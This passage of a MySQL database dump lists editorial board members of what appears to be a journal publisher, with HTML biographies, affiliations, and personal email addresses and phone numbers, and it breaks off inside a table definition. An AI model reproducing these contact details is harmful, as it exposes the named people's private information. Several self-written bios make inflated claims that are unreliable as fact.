Neurosurgical Anesthesiology Fellowship Program.&nbsp; He is a member of many national and international societies for the advancement of Neurosurgical Anesthesiology, has published widely on various topics in the field, and has spoken at many meetings throughout the world on areas within his expertise.&nbsp; Dr. Bebawy is devoted and committed to the betterment of patient safety through individualized and compassionate clinical care, as well as through his contribution to the scientific community.</span></p>\r\n',1,'2019-02-15 16:44:51','2019-02-15 16:44:51',1),(428,34,20,'1550229411.jpg','Alireza Heidari','Alireza.Heidari@calsu.us','','Director of the BioSpectroscopy Core Research ','Editorial board member','USA','California South University','04','<p><span style=\"font-family:Times New Roman,Times,serif\">Prof. Dr. Alireza Heidari, Ph.D., D.Sc. is a Full Professor and Academic Tenure of Chemistry at California South University (CSU), Irvine, California, USA. He has got his Ph.D. and D.Sc. degrees from California South University (CSU), Irvine, California, USA. Furthermore, he has double postdocs in Project Management, Oncology, Human Cancer Tissues and Synchrotron Radiation from Monash University, Melbourne, Victoria, Australia and also in Nanochemistry and Modern Molecular Electronic&ndash;Structure Computations Theory from California South University (CSU), Irvine, California, USA.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">His research interests include Biophysical Chemistry, Biomolecular Spectroscopy, Quantum Chemistry, Nanochemistry, Modern Electronic Structure Computations, Theoretical Chemistry, Mathematical Chemistry, Computational Chemistry, Vibrational Spectroscopy, Molecular Modelling, Ab initio &amp; Density Functional Methods, Molecular Structure, Biochemistry, Molecular Simulation, Pharmaceutical Chemistry, Medicinal Chemistry, Oncology, Synchrotron Radiation, Synchrocyclotron Radiation, LASER, Anti&ndash;Cancer Nano Drugs, Nano Drugs Delivery, ATR&ndash;FTIR Spectroscopy, Raman Spectroscopy, Intelligent Molecules, Molecular Dynamics, Biosensors, Biomarkers, Molecular Diagnostics, Numerical Chemistry, Nucleic Acids, DNA/RNA Monitoring, DNA/RNA Hypermethylation &amp; Hypomethylation, Human Cancer Tissues, Human Cancer Cells, Tumors, Cancer Tissues, Cancer Cells, etc.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has participated at more than three hundreds reputed international conferences, seminars, congresses, symposiums and forums around the world as yet. Also, he possesses many published articles in Science Citation Index (SCI)/International Scientific Indexing (ISI) Journals. It should be noted that he has visited many universities or scientific and academic research institutes in different countries such as United States, United Kingdom, Canada, Australia, New Zealand, Scotland, Ireland, Netherlands, Belgium, Denmark, Greece, Russia, Estonia, Ukraine, Turkey, France, Swiss, Germany, Sweden, Norway, Italy, Austria, Czech Republic, Hungary, Poland, South Africa, Egypt, Brazil, Spain, Portugal, Mexico, Japan, Singapore, Malaysia, Thailand, Taiwan, Hong Kong, South Korea, China, India, Qatar, United Arab Emirates, etc. as research fellow, sabbatical and volunteer researcher or visitor and so on heretofore. He has a history of several years of teaching for college students and various disciplines and trends in different universities. Moreover, he has been a senior advisor in various industry and factories.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is expert in many computer programs and programming languages. Hitherto, he has authored more than twenty books and book chapters in different fields of Chemistry. Syne, he has been awarded more than nine hundreds reputed international awards, prizes, scholarships and honors. Heretofore, he has multiple editorial duties in many reputed international journals, books and publishers. Hitherward, he is a member of more than three hundreds reputed international academic&ndash;scientific&ndash;research institutes around the world. It should be noted that he is currently the President of American International Standards Institute (AISI), Irvine, California, USA and also Director of the BioSpectroscopy Core Research Laboratory at California South University (CSU), Irvine, California, USA.</span></p>\r\n',1,'2019-02-15 16:46:50','2019-02-15 16:46:50',1),(429,34,20,'1550229585.jpg','Xavier Riaud','xavier.riaud@wanadoo.fr','','Associate professor','Editorial board member','France','National Academy of Dental Surgery','06','<p><span style=\"font-family:Times New Roman,Times,serif\">Xavier Riaud has a DDS, a PhD in History of Sciences and Technics. He is Laureate and Associate member of the National Academy of Dental Surgery, Free member of the National Academy of Surgery. He wrote 29 books and more than 500 articles in 5 languages.</span></p>\r\n\r\n<p><strong><span style=\"font-family:Times New Roman,Times,serif\">Research Interest</span></strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dental Surgery</span></p>\r\n',1,'2019-02-15 16:49:44','2019-02-15 16:49:44',1),(430,34,20,'1550229694.jpg','Zvi H. Perry','zperry1@gamil.com','4384953352','Ph.D. (Epidemiology) ','Editorial board member','Israel','Ben-Gurion University of the Negev','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Perry graduated from Ben-Gurion University, Israel. He has done his residency at Soroka University Medical Center in General Surgery. He has a M.A. in Educational Psychology. He is a senior lecturer at the Ben-Gurion University, where he has been teaching Epidemiology for the last Decade, as well as finishing his PhD. in Surgical Epidemiology.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He did his research fellow at Tuft New-England Medical Center in the Surgical research lab, under Prof. Shikora. These days he is doing his fellowship in Bariatrics at McGill University Hospital. He is also active in promoting general Bariatrics at the state level in Israel, and is a member of the Israeli surgical society, and of the Israeli Endoscopic Society. His academic activities include improving health quality measurements in Israel, as well as being a part of the Clalit HMO simulation center for the surgical professions</span></p>\r\n',1,'2019-02-15 16:51:34','2019-02-15 16:51:34',1),(431,34,20,'','Amir Mohamad Amini','amirmahabadi@yahoo.com','','Master of Science in physical education and sport Malekan Branch','Editorial board member','Iran',' Islamic Azad University','11','',1,'2019-02-15 16:54:13','2019-02-15 16:54:13',1),(432,34,20,'1550230067.jpg','Bikash Desar','desharbikash@yahoo.com','','Department of Oral and Maxillofacial Surgery Kantipur Dental College Teaching Hospital and Research Centre Kathmandu University','Editorial board member','Nepal','Kathmandu University','11','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">I am Dr. Bikash Desar working as Assistant Professor in the Dental Department at Patan Academy of Health Sciences, Patan Hospital.I passed Bachelor of Dental Surgery (BDS), from Universal College of Medical Sciences, Bhairawa on 2006, affiliated to Tribhuvan University, on 2006. Then i started working as Dental Surgeon at the same college being in-charge of department of Oral and Maxillofacial surgery till 2010 January 10. After gaining experience for four years as Dental Surgeon I went for post graduation in Ukraine at Crimea Medical University, named after S.I Grievosky. I completed my post graduation studies on 2013 February. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Then after completion of my masters degree I joined Kantipur Dental College Teaching Hospital and Research Center as Lecturer at the department of Oral and maxillofacial surgery, where i taught BDS students and guided post graduation students of various departments,(orthodontics, oral and maxillofacial pathology, community dentisrty, prosthodontics). At the same time did more than 40,000 minor surgeries and more than 3,500 major surgeries under loacal and general anesthesia. Working for five years two months and twenty days i got selected as Assistant Professor at Patan Academy of Health Sciences, Patan Hospital.I have been working as Editorial Board Member for many international scientific journals since 2016. My four Research Scientific journals have been published on International Journals. Have conducted many dental camps in rural areas of Nepal and planning for providing free dental treatment through Patan District Hospital once a month at Chapagaon-11, Godavari Muncipility.</span></span></p>\r\n',1,'2019-02-15 16:57:47','2019-02-15 16:57:47',1),(433,24,20,'1550233578.jpg','Akbar Mohammadrezaei','n.masl@yahoo.com','','Medicine Department in Tabriz','Editorial board member','Iran','Urmia','17','<p><span style=\"font-family:Times New Roman,Times,serif\">Akbar Mohammadrezaei was born in Urmia in 1968/03/29, in west Azerbaijan state of Iran. I am married with two children, one son and one daughter. I finished my primary educaton in 1981and secondary education in1985, both in Urmia. I was accepted in medicine department in Tabriz, in 1986. I graduated from medicine department in 1995. I did my military service as a doctor in army. I was afflicted by vitiligo for 14 years. The motivation behind this treatment was my own suffering. For years and years I did a lot of studies and then could cure myself in 5 months. I hope all people suffering from this disease will hear our voice and good news.</span></p>\r\n\r\n<p><strong><span style=\"font-family:Times New Roman,Times,serif\">Research Interest</span></strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Wound Care, Wound Nursing, Tissue Repair &amp; Regenerative Medicine</span></p>\r\n',1,'2019-02-15 17:56:18','2019-02-15 17:56:18',1),(434,24,20,'1550233861.png','Kyriaki Paltatzidou','kyrpalt@yahoo.gr','+30 210 9401027','Private Dermatology','Editorial board member','Greece','Venereology clinic','18','<p><span style=\"font-family:Times New Roman,Times,serif\">Doctor Kyriaki Palatzidou, in March 2002, received the Medical School from the Capodistrian University of Athens. Then, pending the beginning of her specialty, she attended the activities of the Dermatology Department of Hillingdon Hospital in London from the Clinical Attachment site. In June 2011, after completing her training at the Dermatology Clinic of the University of Athens, &quot;Andreas Sygros&quot; Hospital, she was awarded the title of &quot;Dermatology - Venereology&quot;. She then trained in Pediatric Dermatology at the University of Padova, Italy, and was clinically trained in Immunodermatology, Dermatoscopy and Mapping of Mites under the supervision of Professor Mauro Alaibac of the Veneto Institute of Oncology (IOV), Melanoma Center, Padua, Italy .</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In addition to her above activities, in March 2009 she completed her Master in Pharmacy - Pharmacology Department of the National and Kapodistrian University of Athens on &quot;Isolation, Development, Production and Control of Bioactive Natural Products&quot; (Medicines, Cosmetics, Special Nutrition Products ). In 2018 she completed her doctoral dissertation at Dermatology Clinic of the University of Athens at the &quot;Andreas Sygros&quot; Hospital. Since then she has been a private dermatologist and as an external collaborator collaborates with Athens University Dermatology Hospital. Especially in the segment of cryotherapy.</span></p>\r\n',1,'2019-02-15 18:01:01','2019-02-15 18:01:01',1),(435,24,20,'1550234107.jpg','Edgar M Cambaza','accademus@protonmail.com','','Assistant Professor at the Department of Biological Sciences','Editorial board member','Japan','Hokkaido University','19','<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Edgar Manuel Cambaza is Assistant Professor at the Department of Biological Sciences, Faculty of Science, Eduardo Mondlane University. He teaches Mycology and Applied Microbiology. Majoring Biological Sciences and completing Masters of Food Science in the University of Western Australia, he just completed the requisites for PhD in Agricultural and Food Process Engineering at Hokkaido University. His main research line is Microbiology and Fungal Biology, particularly fungi-borne maladies such as mycotoxicoses and other detrimental effects of fungal contamination in humans, animals and plants. His most recent works were on the use of <em>F. graminearum</em> surface colors to predict its growth and deoxynivalenol synthesis, and the extent of severity of aflatoxins in Mozambican commodities.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><strong><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Research Interest:</span></span></strong></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Microbiology, fungi-borne diseases, micotoxicoses</span></span></p>\r\n',1,'2019-02-15 18:05:06','2019-02-15 18:05:06',1),(436,26,20,'1550234365.jpg','Thiagarajan Venkatesan','tvenkatesan@nova.edu','+1-954-303-4324 ','Associate Research Scientist Rumbaugh Goodwin Institute for Cancer Research','Editorial board member','USA','Nova Southeastern University','17','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">I am Dr. Thiagarajan Venkatesan currently working as an Associate Research Scientist in Rumbaugh Goodwin Institute for Cancer Research, Nova Southeastern University, Florida, USA. I did my Ph.D in </span>Microbiology-Botany <span style=\"color:black\">from University of Madras, India. I have also worked as a Research Scientist in R&amp;D in Bharat Biotech and </span>involved in the development of recombinant human vaccine against cancer. My work involved upstream and the downstream processing of cancer related viral antigens to the pilot and large scale levels. Currently I am doing the development of therapeutic proteins against selected targets in cancers. Also I am analyzing the gene expression pattern in highly aggressive cancers. I am an Associate member of the American Association for Cancer Research. I have published research articles in international peer reviewed journals and also presented papers in National and International conferences.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Research Interests</span></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">My research interests are focused on: Prognostic and diagnostic markers and novel therapeutic targets for human cancers,<span style=\"color:black\"> development of new therapeutic molecules against cancer, cloning, expression and purification of new biologics, testing the efficacy of small molecules, natural products and therapeutic molecules against various cancers, analyzing the pathway specific gene expression profile.</span></span></p>\r\n',1,'2019-02-15 18:09:25','2019-02-15 18:09:25',1),(437,31,20,'1550237773.jpg','Mario Alexandre Goncalves Lopes','mariolopes77@ua.pt','','Invited Assistant for Physiotherapy Licentiate Degree at the School of Health Sciences','Editorial board member','Portugal','University of Aveiro','23','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>M&aacute;rio Lopes</strong> holds a PhD in Physiotherapy from the Faculty of Sport, University of Porto, and has worked as a physiotherapist in the field of musculoskeletal rehabilitation and in sports (football, futsal and rugby) since 2000. He is an Assistant Professor in the Physiotherapy Licentiate Degree at the School of Health Sciences, University of Aveiro having supervised several Licentiate projects and Master&rsquo;s degree theses. He has published articles in his research interests in the fields of musculoskeletal rehabilitation and injury prevention in sports in refereed journals, has published a book chapter and has reviewed articles in peer-reviewed journals. He is currently an Editorial Board Member of the Journal of Physical Health and Sports Medicine and his research interests are in the field of musculoskeletal rehabilitation and injury prevention in sports.</span></p>\r\n',1,'2019-02-15 19:06:12','2019-02-15 19:06:12',1),(438,31,20,'','Junaid Amin','junaid768@hotmail.com','(+966) 580931017','Physical therapy Lecturer/ Senior Physiotherapist,College of applied medical sciences, ','Editorial board member','Saudi Arabia','University of Hail','23','',1,'2019-02-15 19:10:02','2019-02-15 19:10:02',1),(439,20,20,'1551258382.jpg','Hengrui Liu','Hengrui.Liu1@stonybrookmedicine.edu','','Department of Anesthesiology','Editorial board member','USA','Stony Brook University','15','<p><span style=\"font-family:Times New Roman,Times,serif\">Hengrui Liu graduated from Guangzhou University of Chinese Medicine and Jinan University in China successively. He is currently working as a researcher at Stony Brook Medicine in USA. He is an expert in traditional medicine and electric physiology. His study involves Traditional medicine and pharmacology. &nbsp;His recent study focusing on the effect of different anesthetics, ginsenoside-Rd, and other agents on Ca2+ ion channels and cancer biology. (Updated by Feb. 2019)</span></p>\r\n',1,'2019-02-18 16:13:56','2019-02-27 14:36:22',1),(440,39,20,'1550557490.png','Viroj Wiwanitkit','wviroj@yahoo.com','','Professor ','Editorial board member','Thailand','Chulalongkorn University','07','<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Dr. Viroj Wiwanitkit is currently working as a medical professor and Asian Scholar. He graduated in medical doctor (M.D). (honors) and works in medical academics in many universities. At present he is appointed as &nbsp;a visiting University Professor, Hainan Medical University, China ; &nbsp;visiting professor, Faculty of Medicine, University of Nis, Serbia ; adjunct professor, Joseph Ayobabalola University, Nigeria and Professor, Senior Expert, Surin Rajabhat University, Thailand. He has many international publications in medical field. &nbsp;His research interest includes tropical medicine and public health, Laboratory medicine, clinical biochemistry, molecular biology and microbiology. At present, he is the medical scientist who has more than 1,800 article publications and he has the most number (the first world rank) of international publications as the first and the last author. &nbsp;He also serve as editor in chief and editorial board of about 100 international medical journals published from several countries around the world.</span></p>\r\n\r\n<p><strong><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Area of research interest</span></span></strong></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Tropical medicine</span></span></li>\r\n	<li><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Laboratory science (biomedical)</span></span></li>\r\n	<li><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Nanoscience and nanotechnology</span></span></li>\r\n	<li><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Bioinformatics and medical engineering</span></span></li>\r\n	<li><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Family medicine, social medicine and public health</span></span></li>\r\n</ul>\r\n',1,'2019-02-19 11:54:50','2019-02-28 11:54:24',1),(441,39,20,'1550558885.jpg','Vincenzo Bassi','dr_bassi@inwind.it','+390812545278','Professor','Editorial board member','Italy','S. Giovanni Bosco Hospital','06','<p><span style=\"font-family:Times New Roman,Times,serif\">Vincenzo Bassi was born in Naples-Italy on June 11th, 1961. He graduated in Medicine in 1986 and specialized in Endocrinology in 1989 at the University of Naples, &ldquo;Federico II&rdquo; (Italy).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He attended, with a grant award, University of Pisa (Italy), Endocrinology, directed by prof. Aldo Pinchera, in 1989-1990. He attended as Ph.D. student University of Naples (Italy), Endocrinology, directed by prof. Gianfranco Fenzi.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He obtained his PhD in Endocrinology and Metabolism in 2004.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He specialized in Internal Medicine at the University of Naples, &ldquo;Federico II&rdquo; (Italy)&nbsp;in 2009. From 2004 to today he is working as Chief of Internal Medicine at the S. Giovanni Bosco Hospital, U.O.C., ASL Na 1 Centro, Naples (Italy).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is author of publications in national and international Journals and reviewer in several international journals in the field of Endocrinology.</span></p>\r\n\r\n<p><strong><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Research Interests:</span></span></strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Endocrinology and Metabolism. His research is focused on the thyroid autoimmunity of Graves&rsquo; and Hashimotos&rsquo; Diseases and the possible correlation with microorganisms and Hyponatremia and syndrome of inapproprate antidiuretic secretion (SIADH).</span></p>\r\n',1,'2019-02-19 12:18:04','2019-02-19 12:18:04',1),(442,25,20,'1550559672.jpg','Faisal Ahmed','fmaaa2006@yahoo.com','(+98) 9179105419','Department of Urology','Editorial board member','Iran',' Shahid Faghihi Hospital','20','',1,'2019-02-19 12:31:11','2019-02-19 12:31:11',1),(443,20,20,'1551263025.jpg','Ananda Balayogi Bhavanani','yognat@gmail.com','','Director of the Centre for Yoga Therapy Education and Research (CYTER), Professor of Yoga Therapy','Editorial board member','India','Sri Balaji Vidyapeeth University','16','<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Ananda Balayogi Bhavanani, DSc (Yoga), is Director, Centre for Yoga Therapy Education &amp; Research (CYTER), Sri Balaji VIdyapeeth University, Pondicherry. He is also Chairman of the International Centre for Yoga Education and Research at Ananda Ashram, Pondicherry, India. A Fellow of the Indian Academy of Yoga &amp; Scientific Adviser to CCRYN, he has authored 19 DVDs &amp; 23 books on Yoga and published more than two hundred papers, compilations &amp; abstracts on Yoga &amp; Yoga research in National &amp; International Journals. He is presently serving as a Member of National Board for Promotion and Development of Yoga &amp; Naturopathy in Ministry of AYUSH, Govt of India.</span></p>\r\n',1,'2019-02-27 15:53:44','2019-02-27 15:53:44',1),(444,39,20,'1551336007.jpg','Tewodros Alemneh Engidaw','tedyshow@gmail.com','251920499820','Doctor of Veterinary Medicine, Lecturer','Editorial board member','Ethiopia','University of Gondar','09','',1,'2019-02-28 12:10:06','2019-02-28 12:10:06',1),(445,39,20,'1551431750.jpg','Dmitrieva Elena Germanovna','CyriX2003@mail.ru','','The Clinical Pharmacist','Editorial board member','Russia','Clinical Pharmacist','03','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Elena Dmitrieva is the director of the Health and Development Foundation, an NGO that develops and implements health communication and health system improvement projects in Russia. Dr. Dmitrieva also serves as the head of the Johns Hopkins Bloomberg School of Public Health in Russia.</span></span></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Dmitrieva is an expert in public health programs, with an emphasis on reproductive health, drug and HIV/AIDS prevention, and youth risk behavior. The Health and Development Foundation&rsquo;s most recently introduced program, TEXT4BABY, provides expectant and new mothers with important information about their health and the health of their baby, communicated via text message. Dr. Dmitrieva has been instrumental in both the implementation of the program and its publicity.</span></span></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">In 2013, Dr. Dmitrieva and the Health and Development Foundation received a grant from Eurasia Foundation to collaborate with an American partner on &ldquo;mHealth,&rdquo; public health campaigns implemented over mobile devices. Dr. Dmitrieva also serves as co-chair of the U.S.-Russia Social Expertise Exchange&rsquo;s Public Health Working Group, whose current project focuses on the health of migrants in both the United States and Russia. Dr. Dmitrieva holds a Doctorate of Science (2004), Candidate of Sciences (1996), and Diploma of Honor (1993) in Sociology from Lomonosov Moscow State University (LMSU). She currently teaches sociology of health and health communication at LMSU.</span></span></p>\r\n',1,'2019-03-01 14:44:12','2019-03-01 14:46:51',1),(446,16,20,'1551446658.jpg','Rosario Vecchio','rvecchio@unict.it','011-39-95-7435289','Department of General Surgery','Editorial board member','Italy','University of Catania','20','<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest:&nbsp;</strong></span></span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Laparoscopic surgery</span></span></li>\r\n	<li><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Spleen Surgery</span></span></li>\r\n	<li><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Effects on coaugulation- Hemostasi induced by laparoscopy</span></span></li>\r\n	<li><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Effects on immuine response&nbsp; induced by laparoscopy </span></span></li>\r\n</ul>\r\n',1,'2019-03-01 18:54:17','2019-03-01 18:55:17',1),(447,20,20,'1552564259.jpg','Rajajeya Kumar','rajakumar60@gmail.com','','Assistant Professor, Department of Physiology','Editorial board member','India','RICHY SRM MEDICAL COLLEGE HOSPITAL & RESEARCH CENTER','17','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">I, Dr. M.Rajajeyakumar, MBBS, MD (Physiology), MSc Yoga, CCEBDM (PHFI), (PhD), has completed his MD Physiology,(2006-2009) at (JIPMER- An Institution of National Importance under the Ministry of Health &amp; Family Welfare, Govt. of India).&nbsp; I worked as research assistant (2009-2012) in the Advanced Centre for Yoga Therapy, Education &amp; Research Lab, and JIPMER. I published more than 72 research papers and serving as an editorial board member and expert reviewer of &nbsp;many national and international journals. I have been invited for honorable guest Speaker in Fitness-2015, Philadelphia, USA, and chairperson for the international conference 9 th Indo global summit on cancer therapy -2015, India. I was selected as Speaker and chairperson for 12<sup>th</sup>,13<sup>th</sup>&amp; 14 <sup>th</sup> AsiaPacificMedicalEducationConference-3<sup>rd</sup>, 4 th &amp; 5 th&nbsp; International Conference on Faculty Development in the Health Professions, Yong Loo Lin School of Medicine, NUS, Singapore 2015,16 &amp; 17. I presented a scientific research paper in World Diabetes Congress Dec-2015, IDF, Vancouver, Canada. I have been appointed as Advisory Council members of Pure Action, Yoga is Medicine, Austin, TX 78703, USA and organizing committee member of international conferences. I have been honored and received 10 awards, including national and international level. I have been appointed as scientific referee for extramural proposal evaluation and recommendation for funding of project in the field of medicine and biomedical engineering by the Science and Engineering Research Board (SERB), Established through an Act of Parliament: SERB Act 2008, Department of Science &amp; Technology, Government of India. I have been designated as one of the national medical expert faculty in the DOCTORS NEET ACADEMY-DNA is an Academy for training School Students in M.B.B.S Course. First person, I have been setting of two new Guinness world record for holding as an International Editorial board member of most number of the scientific research journals and holding as an international organizing committee member of many scientific conferences across the globe, at Assistant professor Level in the year of 2018.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest:</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">I have been actively involved in medical, biomedical, and yoga research. My special research experience is in autonomic, cognitive, cardio-respiratory, neurophysiology and medical education. I had trained with basic Physiological procedures including human and animal experimental physiology; pulmonary function test (PFT), autonomic function test (AFT), HRV (heart rate variability), EMG (electromyography), &amp; NCS (nerve conduction study).</span></p>\r\n',1,'2019-03-14 17:20:59','2019-03-14 17:20:59',1),(448,27,20,'1552975650.jpg','Amandeep S. Aujla','Amandeep.Aujla@wmchealth.org','347-841-4843',' Member of American society of hematology and oncology','Editorial board member','USA','Westchester Medical Center','10','<p><span style=\"font-family:Times New Roman,Times,serif\">I am the chief Hematology and Oncology fellow at Westchester Medical Center, Valhalla, New York. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">I completed my medical school from Government Medical College, Patiala (INDIA) followed by the residency training from New York Medical College - Metropolitan Hospital Center. I have achieved several awards in both academia and research including Young Investigator Award (National meeting of American college of Physicians), Dean&rsquo;s resident research award and the most outstanding resident award. My research interest is focused in clinical oncology and in identifying biomarkers and molecular targets for drug development. I have authored and reviewed some of the work also in this field. </span></p>\r\n',1,'2019-03-19 11:36:28','2019-03-19 11:37:30',1),(449,39,20,'1552976208.jpg','Hossein Mahmoudvand','dmahmodvand@gmail.com','+98 66 33420030','Department of Medical Parasitology','Editorial board member','Iran','Lorestan University of Medical Sciences','11','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Hossein Mahmoudvand is an <strong>assistant professor</strong> of medical parasitology in the Lorestan University of Medical Sciences, Khorramabad, Iran. He received his Ph.D and MSc in Medical Parasitology and BSc in Medical Laboratory Sciences from the Kerman University of Medical Sciences, Kerman, Iran. He has published more than 60 papers; whereas his main research interest is epidemiology of diseases, medical parasitology and parasites &amp; host behavior, and application of herbal and synthetic drugs in the treatment of microbial diseases.</span></p>\r\n',1,'2019-03-19 11:46:47','2019-03-19 11:46:47',1),(450,43,20,'1553240663.jpg','Athanasios Manouras','amanouras@teilar.gr','','Professor, Department of Food Technology','Editorial board member','Greece','Technological Educational Institute of Thessaly','01','<p><span style=\"font-family:Times New Roman,Times,serif\">Athanasios Manouras is Professor of &nbsp;the Food Technology Department of University of Thessaly<strong> </strong><em>(Formerly&nbsp;: TEI of Thessaly, Faculty of Agricultural Technologies, Food Technology and Nutrition, Department of Food Technology)</em>, in the field of &quot;Food Chemistry with an emphasis on Chemistry of Natural Products&quot; and Head of the Food Chemistry Laboratory of the Department of Food Technology of University of Thessaly. He completed his undergraduate course at the Department of Chemistry, University of Patras, in 1984, and continued his Ph.D. thesis on the structure and biological properties of proteoglycans and glycoproteins of extracellular space ( 1992). Finally, in 1998 he obtains a Master degree in Oenology. He then works as a business consultant in the field of Research &amp; Development of New Products, staff training and food quality assurance systems. Since 2010 he has been elected as Associate Professor of the Food Technology Department of TEI of Thessaly (Larissa) he has participated, at least, in &nbsp;(15) research programs, European or National, Competitive or Self-financed, either as a cordinator or as a member of the research team and has published more than sixty papers at international level scientific journals, scientific conferences, international and Greek, and has participated in the translation team of two foreign books &ldquo;Biochemistry&rdquo; and &ldquo;Clinical Chemistry&rdquo;. He is Head of the Food Technology Department from 01-09-2010 until today and has participated in numerous committees of teachers, research or administrative staff of TEI of Thessaly. He has participated in the organization (organizing or scientific committee) of international conferences or workshops. He has taken part as a supervisor, leading teams of students, in competitions for innovative, eco-friendly foods, always making a distinction. Ecotrophelia 2013, 2015, 2016, 2017, 2018: 3rd prize, 1st prize, Best Presentation Award and 1<sup>st</sup> prize. <a href=\"http://www.sevt.gr/\">http://www.sevt.gr/</a></span></p>\r\n',1,'2019-03-22 13:14:23','2019-03-22 13:14:23',1),(451,43,20,'1553241210.jpg','Zerrin ERGINKAYA','zerriner@cu.edu.tr','','Department of Food Engineering, Faculty of Agriculture','Editorial board member','Turkey','Cukurova University','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Zerrin ERGINKAYA BSc., Department of Food Engineering,&nbsp; University of Hacettepe (1981),&nbsp; MSc (1988), PhD (1992) and&nbsp; MIBD, is the professor of Department of Food Engineering, Faculty of Agriculture, Cukurova University, Turkey. She was Studies for M.Sc. and Ph.D. in University of Hohenheim, Stuttgart and Berlin Technische Universit&auml;t &ndash; Germany 1984-1989). She teaches general microbiology, food microbiology, food safety and microbiolocial quality control and toxicology. Research area is biocontrol of food preservation, antimicrobial effect of microorganism, traditional&nbsp; fermented foods . She has published 110 research papers and reviews. She contributed to the 1 book editor and 8 book chapters.&nbsp; She is still head of Department of Food Engineering, Faculty of Agriculture, Cukurova University. </span></p>\r\n',1,'2019-03-22 13:23:30','2019-03-22 13:24:14',1),(452,43,20,'1553606218.png','Gyimes Erno','gyimes@mk.u-szeged.hu','+36 (30) 429-3774','Institute of Food Engineering','Editorial board member','Hungary','University of Szeged','03','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>Research activities</strong></span></span></p>\r\n\r\n<ul>\r\n	<li>\r\n	<p><span style=\"font-family:Times New Roman,Times,serif\">Small scale paprika powder (spice) producing with CAM</span></p>\r\n	</li>\r\n	<li>\r\n	<p><span style=\"font-family:Times New Roman,Times,serif\">Fine grinding of cereals and pseudo-cereals</span></p>\r\n	</li>\r\n	<li>\r\n	<p><span style=\"font-family:Times New Roman,Times,serif\">Modernization of the food processing technologies</span></p>\r\n	</li>\r\n	<li>\r\n	<p><span style=\"font-family:Times New Roman,Times,serif\">Alternative and organic food processing technologies</span></p>\r\n	</li>\r\n	<li>\r\n	<p><span style=\"font-family:Times New Roman,Times,serif\">Functional and healthy food product development</span></p>\r\n	</li>\r\n	<li>\r\n	<p><span style=\"font-family:Times New Roman,Times,serif\">Investigation of confectionery raw materials and products</span></p>\r\n	</li>\r\n</ul>\r\n',1,'2019-03-26 18:46:58','2019-03-26 18:46:58',1);

/*Table structure for table `journals` */

DROP TABLE IF EXISTS `journals`;

CREATE TABLE `journals` (
  `j_id` int(11) NOT NULL AUTO_INCREMENT,
  `category` int(11) DEFAULT NULL,
  `baneer_image` varchar(250) DEFAULT NULL,
  `title` varchar(250) DEFAULT NULL,
  `subject` varchar(250) DEFAULT NULL,
  `alt_tags` varchar(250) DEFAULT NULL,
  `seo_title` varchar(250) DEFAULT NULL,
  `seo_url` varchar(250) DEFAULT NULL,
  `seo_keywords` varchar(250) DEFAULT NULL,
  `seo_description` text,
  `key_words` text,
  `description` text,
  `prices` text,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
